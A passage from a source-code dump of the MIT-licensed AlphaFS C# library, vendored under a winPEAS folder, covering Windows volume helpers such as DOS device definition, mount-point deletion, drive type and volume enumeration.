"CDEFGHIJKLMNOPQRSTUVWXYZ".Except(Directory.EnumerateLogicalDrivesCore(false, false).Select(d => d.Name[0])); try { return getLastAvailable ? freeDriveLetters.Last() : freeDriveLetters.First(); } catch { throw new ArgumentOutOfRangeException(Resources.No_Drive_Letters_Available); } } #endregion // Methods #region Private Methods /// Retrieves information about the file system and volume associated with the specified root file or directorystream. [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] private object GetDeviceInfo(int type, int mode) { try { switch (type) { #region Volume // VolumeInfo properties. case 0: if (Utils.IsNullOrWhiteSpace(_volumeInfo.FullPath)) _volumeInfo.Refresh(); switch (mode) { case 0: // IsVolume, VolumeInfo return _volumeInfo; case 1: // DriveFormat return null == _volumeInfo ? DriveType.Unknown.ToString() : _volumeInfo.FileSystemName ?? DriveType.Unknown.ToString(); case 2: // VolumeLabel return null == _volumeInfo ? string.Empty : _volumeInfo.Name ?? string.Empty; } break; // Volume related. case 1: switch (mode) { case 0: // DosDeviceName return _dosDeviceName ?? (_dosDeviceName = Volume.GetVolumeDeviceName(Name)); } break; #endregion // Volume #region Drive // Drive related. case 2: switch (mode) { case 0: // DriveType return _driveType ?? (_driveType = Volume.GetDriveType(Name)); case 1: // RootDirectory return _rootDirectory ?? (_rootDirectory = new DirectoryInfo(null, Name, PathFormat.RelativePath)); } break; // DiskSpaceInfo related. case 3: switch (mode) { case 0: // AvailableFreeSpace, TotalFreeSpace, TotalSize, DiskSpaceInfo if (!_initDsie) { _dsi.Refresh(); _initDsie = true; } break; } break; #endregion // Drive } } catch { } return type == 0 && mode > 0 ? string.Empty : null; } #endregion // Private } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DefineDosDevice.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Defines, redefines, or deletes MS-DOS device names. /// An MS-DOS device name string specifying the device the function is defining, redefining, or deleting. /// An MS-DOS path that will implement this device. [SecurityCritical] public static void DefineDosDevice(string deviceName, string targetPath) { DefineDosDeviceCore(true, deviceName, targetPath, DosDeviceAttributes.None, false); } /// [AlphaFS] Defines, redefines, or deletes MS-DOS device names. /// /// An MS-DOS device name string specifying the device the function is defining, redefining, or deleting. /// /// /// >An MS-DOS path that will implement this device. If parameter has the /// flag specified, is used as-is. /// /// /// The controllable aspects of the DefineDosDevice function, flags which will be combined with the /// default. /// [SecurityCritical] public static void DefineDosDevice(string deviceName, string targetPath, DosDeviceAttributes deviceAttributes) { DefineDosDeviceCore(true, deviceName, targetPath, deviceAttributes, false); } /// Defines, redefines, or deletes MS-DOS device names. /// /// /// /// true defines a new MS-DOS device. false deletes a previously defined MS-DOS device. /// /// /// An MS-DOS device name string specifying the device the function is defining, redefining, or deleting. /// /// /// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the /// flag is specified, in which case this string is a path string. /// /// /// The controllable aspects of the DefineDosDevice function, flags which will be combined with the /// default. /// /// /// Only delete MS-DOS device on an exact name match. If is true, /// must be the same path used to create the mapping. /// [SecurityCritical] internal static void DefineDosDeviceCore(bool isDefine, string deviceName, string targetPath, DosDeviceAttributes deviceAttributes, bool exactMatch) { if (Utils.IsNullOrWhiteSpace(deviceName)) throw new ArgumentNullException("deviceName"); if (isDefine) { // targetPath is allowed to be null. // In no case is a trailing backslash ("\") allowed. deviceName = Path.GetRegularPathCore(deviceName, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars, false); using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { var success = NativeMethods.DefineDosDevice(deviceAttributes, deviceName, targetPath); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, deviceName, targetPath); } } else { // A pointer to a path string that will implement this device. // The string is an MS-DOS path string unless the DDD_RAW_TARGET_PATH flag is specified, in which case this string is a path string. if (exactMatch && !Utils.IsNullOrWhiteSpace(targetPath)) deviceAttributes = deviceAttributes | DosDeviceAttributes.ExactMatchOnRemove | DosDeviceAttributes.RawTargetPath; // Remove the MS-DOS device name. First, get the name of the Windows NT device // from the symbolic link and then delete the symbolic link from the namespace. DefineDosDevice(deviceName, targetPath, deviceAttributes); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DeleteDosDevice.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Deletes an MS-DOS device name. /// An MS-DOS device name specifying the device to delete. [SecurityCritical] public static void DeleteDosDevice(string deviceName) { DefineDosDeviceCore(false, deviceName, null, DosDeviceAttributes.RemoveDefinition, false); } /// [AlphaFS] Deletes an MS-DOS device name. /// An MS-DOS device name string specifying the device to delete. /// /// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the /// flag is specified, in which case this string is a path string. /// [SecurityCritical] public static void DeleteDosDevice(string deviceName, string targetPath) { DefineDosDeviceCore(false, deviceName, targetPath, DosDeviceAttributes.RemoveDefinition, false); } /// [AlphaFS] Deletes an MS-DOS device name. /// An MS-DOS device name string specifying the device to delete. /// /// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the /// flag is specified, in which case this string is a path string. /// /// /// Only delete MS-DOS device on an exact name match. If is true, /// must be the same path used to create the mapping. /// [SecurityCritical] public static void DeleteDosDevice(string deviceName, string targetPath, bool exactMatch) { DefineDosDeviceCore(false, deviceName, targetPath, DosDeviceAttributes.RemoveDefinition, exactMatch); } /// [AlphaFS] Deletes an MS-DOS device name. /// An MS-DOS device name string specifying the device to delete. /// /// A pointer to a path string that will implement this device. The string is an MS-DOS path string unless the /// flag is specified, in which case this string is a path string. /// /// /// The controllable aspects of the DefineDosDevice function flags which will be combined with the /// default. /// /// /// Only delete MS-DOS device on an exact name match. If is true, /// must be the same path used to create the mapping. /// [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] public static void DeleteDosDevice(string deviceName, string targetPath, DosDeviceAttributes deviceAttributes, bool exactMatch) { DefineDosDeviceCore(false, deviceName, targetPath, deviceAttributes, exactMatch); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DeleteVolumeMountPoint.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Deletes a Drive letter or mounted folder. /// Deleting a mounted folder does not cause the underlying directory to be deleted. /// /// If the parameter is a directory that is not a mounted folder, the function does nothing. The /// directory is not deleted. /// /// /// It's not an error to attempt to unmount a volume from a volume mount point when there is no volume actually mounted at that volume /// mount point. /// /// The Drive letter or mounted folder to be deleted. For example, X:\ or Y:\MountX\. [SecurityCritical] public static void DeleteVolumeMountPoint(string volumeMountPoint) { DeleteVolumeMountPointCore(null, volumeMountPoint, false, false, PathFormat.RelativePath); } /// Deletes a Drive letter or mounted folder. /// /// It's not an error to attempt to unmount a volume from a volume mount point when there is no volume actually mounted at that volume mount point. /// Deleting a mounted folder does not cause the underlying directory to be deleted. /// /// /// /// /// /// The transaction. /// The Drive letter or mounted folder to be deleted. For example, X:\ or Y:\MountX\. /// true suppress any Exception that might be thrown as a result from a failure, such as unavailable resources. /// true suppress an exception due to this mount point being a Junction. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void DeleteVolumeMountPointCore(KernelTransaction transaction, string volumeMountPoint, bool continueOnException, bool continueIfJunction, PathFormat pathFormat) { if (pathFormat != PathFormat.LongFullPath) Path.CheckSupportedPathFormat(volumeMountPoint, true, true); volumeMountPoint = Path.GetExtendedLengthPathCore(transaction, volumeMountPoint, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator); using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) { // DeleteVolumeMountPoint() // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists. // A trailing backslash is required. var success = NativeMethods.DeleteVolumeMountPoint(Path.AddTrailingDirectorySeparator(volumeMountPoint, false)); var lastError = Marshal.GetLastWin32Error(); if (!success && !continueOnException) { if (lastError == Win32Errors.ERROR_INVALID_PARAMETER && continueIfJunction) return; if (lastError == Win32Errors.ERROR_FILE_NOT_FOUND) lastError = (int)Win32Errors.ERROR_PATH_NOT_FOUND; NativeError.ThrowException(lastError, volumeMountPoint); } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DiskFreeSpace.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] /// Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, the total /// amount of free space, and the total amount of free space available to the user that is associated with the calling thread. /// /// The calling application must have FILE_LIST_DIRECTORY access rights for this directory. /// /// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\". /// /// A class instance. [SecurityCritical] public static DiskSpaceInfo GetDiskFreeSpace(string drivePath) { return new DiskSpaceInfo(drivePath, null, true, true); } /// [AlphaFS] /// Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, the total /// amount of free space, and the total amount of free space available to the user that is associated with the calling thread. /// /// The calling application must have FILE_LIST_DIRECTORY access rights for this directory. /// /// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\". /// /// /// null gets both size- and disk cluster information. true Get only disk cluster information, /// false Get only size information. /// /// A class instance. [SecurityCritical] public static DiskSpaceInfo GetDiskFreeSpace(string drivePath, bool? spaceInfoType) { return new DiskSpaceInfo(drivePath, spaceInfoType, true, true); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DriveType.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Determines the disk , based on the root of the current directory. /// A enum value. [SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")] [SecurityCritical] public static DriveType GetCurrentDriveType() { return GetDriveType(null); } /// [AlphaFS] Determines the disk . /// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\" /// A enum value. [SecurityCritical] public static DriveType GetDriveType(string drivePath) { // drivePath is allowed to be == null. drivePath = Path.AddTrailingDirectorySeparator(drivePath, false); // ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups. using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) return NativeMethods.GetDriveType(drivePath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumeMountPoints.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Runtime.InteropServices; using System.Security; using System.Text; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Returns an enumerable collection of of all mounted folders (volume mount points) on the specified volume. /// /// /// A containing the volume . /// An enumerable collection of of all volume mount points on the specified volume. [SecurityCritical] public static IEnumerable EnumerateVolumeMountPoints(string volumeGuid) { if (Utils.IsNullOrWhiteSpace(volumeGuid)) throw new ArgumentNullException("volumeGuid"); if (!volumeGuid.StartsWith(Path.VolumePrefix + "{", StringComparison.OrdinalIgnoreCase)) throw new ArgumentException(Resources.Not_A_Valid_Guid, "volumeGuid"); // A trailing backslash is required. volumeGuid = Path.AddTrailingDirectorySeparator(volumeGuid, false); var buffer = new StringBuilder(NativeMethods.MaxPathUnicode); using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) using (var handle = NativeMethods.FindFirstVolumeMountPoint(volumeGuid, buffer, (uint)buffer.Capacity)) { var lastError = Marshal.GetLastWin32Error(); if (!NativeMethods.IsValidHandle(handle, false)) { switch ((uint)lastError) { case Win32Errors.ERROR_NO_MORE_FILES: case Win32Errors.ERROR_PATH_NOT_FOUND: // Observed with USB stick, FAT32 formatted. yield break; default: NativeError.ThrowException(lastError, volumeGuid); break; } } yield return buffer.ToString(); while (NativeMethods.FindNextVolumeMountPoint(handle, buffer, (uint)buffer.Capacity)) { lastError = Marshal.GetLastWin32Error(); var throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND && lastError != Win32Errors.ERROR_MORE_DATA; if (!NativeMethods.IsValidHandle(handle, lastError, volumeGuid, throwException)) yield break; yield return buffer.ToString(); } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumePathNames.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Runtime.InteropServices; using System.Security; using System.Text; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Returns an enumerable collection of drive letters and mounted folder paths for the specified volume. /// An enumerable collection of containing the path names for the specified volume. /// /// /// A volume path: \\?\Volume{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\. [SecurityCritical] public static IEnumerable EnumerateVolumePathNames(string volumeGuid) { if (Utils.IsNullOrWhiteSpace(volumeGuid)) throw new ArgumentNullException("volumeGuid"); if (!volumeGuid.StartsWith(Path.VolumePrefix + "{", StringComparison.OrdinalIgnoreCase)) throw new ArgumentException(Resources.Not_A_Valid_Guid, "volumeGuid"); var volName = Path.AddTrailingDirectorySeparator(volumeGuid, false); uint requiredLength = 10; var cBuffer = new char[requiredLength]; using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) while (!NativeMethods.GetVolumePathNamesForVolumeName(volName, cBuffer, (uint)cBuffer.Length, out requiredLength)) { var lastError = Marshal.GetLastWin32Error(); switch ((uint)lastError) { case Win32Errors.ERROR_MORE_DATA: case Win32Errors.ERROR_INSUFFICIENT_BUFFER: cBuffer = new char[requiredLength]; break; default: NativeError.ThrowException(lastError, volumeGuid); break; } } var buffer = new StringBuilder(cBuffer.Length); foreach (var c in cBuffer) { if (c != Path.StringTerminatorChar) buffer.Append(c); else { if (buffer.Length > 0) { yield return buffer.ToString(); buffer.Length = 0; } } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumes.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Returns an enumerable collection of volumes on the computer. /// An enumerable collection of volume names on the computer. [SuppressMessage("Microsoft.Design", "CA1024:UsePropertiesWhereAppropriate")] [SecurityCritical] public static IEnumerable EnumerateVolumes() { var buffer = new StringBuilder(NativeMethods.MaxPathUnicode); using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors)) using (var handle = NativeMethods.FindFirstVolume(buffer, (uint)buffer.Capacity)) { var lastError = Marshal.GetLastWin32Error(); var throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND; if (!NativeMethods.IsValidHandle(handle, lastError, String.Empty, throwException)) yield break; yield return buffer.ToString(); while (NativeMethods.FindNextVolume(handle, buffer, (uint)buffer.Capacity)) { lastError = Marshal.GetLastWin32Error(); throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND && lastError != Win32Errors.ERROR_MORE_DATA; if (!NativeMethods.IsValidHandle(handle, lastError, String.Empty, throwException)) yield break; yield return buffer.ToString(); } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetDriveFormat.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Gets the name of the file system, such as NTFS or FAT32. /// Use DriveFormat to determine what formatting a drive uses. /// /// A path to a drive. For example: "C:\", "\\server\share", or "\\?\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\". /// /// The name of the file system on the specified drive or null on failure or if not available. [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] public static string GetDriveFormat(string drivePath) { var fsName = new VolumeInfo(drivePath, true, true).FileSystemName; return Utils.IsNullOrWhiteSpace(fsName) ? null : fsName; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetDriveNameForNtDeviceName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Linq; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Gets the drive letter from an MS-DOS device name. For example: "\Device\HarddiskVolume2" returns "C:\". /// An MS-DOS device name. /// The drive letter from an MS-DOS device name. [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Nt")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Nt")] public static string GetDriveNameForNtDeviceName(string deviceName) { return (from drive in Directory.EnumerateLogicalDrivesCore(false, false) where drive.DosDeviceName.Equals(deviceName, StringComparison.OrdinalIgnoreCase) select drive.Name).FirstOrDefault(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetUniqueVolumeNameForPath.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Volume { /// [AlphaFS] Get the unique volume name for the given path. /// /// /// A path string. Both absolute and relative file and directory names, for example "..", is acceptable in this path. If you specify 